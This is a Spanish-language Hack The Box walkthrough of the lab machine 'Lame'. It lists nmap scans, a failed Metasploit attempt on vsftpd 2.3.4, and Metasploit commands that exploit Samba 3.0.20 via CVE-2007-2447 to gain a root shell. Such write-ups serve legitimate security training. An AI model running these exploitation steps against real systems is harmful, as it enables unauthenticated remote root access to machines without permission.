Lame
Lame es una máquina Linux de Hack The Box enfocada en la identificación y explotación de servicios vulnerables. Tras descartar vsftpd 2.3.4, Samba 3.0.20 permite obtener ejecución remota de comandos como root mediante CVE-2007-2447.

- Plataforma
- Hack The Box
- Sistema operativo
- Linux
- Dificultad
- Fácil
- Publicado
- Autor
- Pedro Vargas
- Temas
- Enumeration
- FTP
- Vsftpd 2.3.4
- Samba
- CVE 2007 2447
- Metasploit
En esta página
Resumen
Lame es una máquina Linux de Hack The Box realmente sencilla. Durante la enumeración encontramos varios servicios antiguos, entre ellos vsftpd 2.3.4 y Samba 3.0.20. Aunque nuestro primer intento de explotación mediante FTP no funciona, Samba resulta vulnerable a CVE-2007-2447, permitiéndonos conseguir ejecución remota de comandos directamente como root.
Enumeración
Descubrimiento de puertos
Comenzamos realizando un escaneo de los 1000 puertos más comunes y mostrando únicamente aquellos que se encuentren abiertos:
nmap --top-ports 1000 10.129.58.86 --open -sV

Entre los resultados encontramos varios servicios interesantes, principalmente:
- FTP
- SSH
- SMB
Lo que más llama la atención son las versiones antiguas de algunos de estos servicios. En FTP encontramos:
vsftpd 2.3.4
mientras que SMB nos indica que el servidor utiliza Samba.
Tenemos varios candidatos, así que toca investigar. 🔎
Intento de explotación de vsftpd
vsftpd 2.3.4 es una versión bastante conocida por tener asociada una vulnerabilidad explotable mediante una backdoor.
Abrimos Metasploit:
msfconsole
Y buscamos módulos relacionados:
search vsftpd 2.3.4

Seleccionamos el exploit:
use 0
Configuramos la máquina objetivo:
set RHOSTS 10.129.58.86
Y nuestra interfaz de HTB:
set LHOST tun0
Finalmente ejecutamos:
run

Sin embargo, Metasploit nos indica que el objetivo no es vulnerable.
Aunque la versión detectada resulta sospechosa, este vector no funciona contra la máquina. Así que toca regresar a la enumeración en lugar de seguir insistiendo. 😅
Enumeración de Samba
El siguiente candidato interesante es SMB.
Realizamos un escaneo más específico contra el puerto 445 para obtener información adicional:
nmap -p445 -sVC 10.129.58.86

Esta vez conseguimos identificar la versión:
Samba 3.0.20
Una versión bastante antigua, así que volvemos a Metasploit para comprobar qué podemos encontrar:
search samba 3.0.20

Entre los resultados aparece un módulo especialmente interesante relacionado con:
Samba "username map script" Command Execution
Esta vulnerabilidad corresponde a:
CVE-2007-2447
🎯 Ahora sí tenemos un vector bastante prometedor.
Explotación de Samba 3.0.20
Seleccionamos el módulo correspondiente:
use 0
Configuramos nuevamente el objetivo:
set RHOSTS 10.129.58.86
Indicamos nuestra interfaz:
set LHOST tun0
Y podemos comprobar que todo esté correctamente configurado:
show options

Finalmente:
run
Esta vez el exploit funciona y Metasploit nos devuelve una shell.
Comprobamos nuestro usuario:
whoami
Y obtenemos:
root
¡Directamente root! 🚩
¿Qué acabamos de explotar?
La vulnerabilidad CVE-2007-2447 afecta a determinadas versiones y configuraciones antiguas de Samba que utilizan la opción username map script.
El problema permite introducir metacaracteres de shell dentro del nombre de usuario enviado al servidor. Samba termina procesando ese contenido de forma insegura, haciendo posible ejecutar comandos en el sistema remoto.
Lo especialmente grave es que este procesamiento ocurre antes de completar la autenticación, por lo que no necesitamos credenciales válidas para aprovecharlo.
En Lame, el servicio vulnerable se ejecuta con privilegios suficientes para que la ejecución obtenida termine directamente como:
root

Por eso esta máquina no necesita una fase adicional de escalamiento de privilegios.
Conclusiones
Lame demuestra perfectamente por qué identificar versiones durante la enumeración es tan importante. El primer candidato, vsftpd 2.3.4, no resulta explotable, pero continuar investigando nos lleva hasta Samba 3.0.20 y CVE-2007-2447, consiguiendo acceso directo como root con un único exploit. 🚩
Herramientas utilizadas
- Nmap
- Metasploit Framework


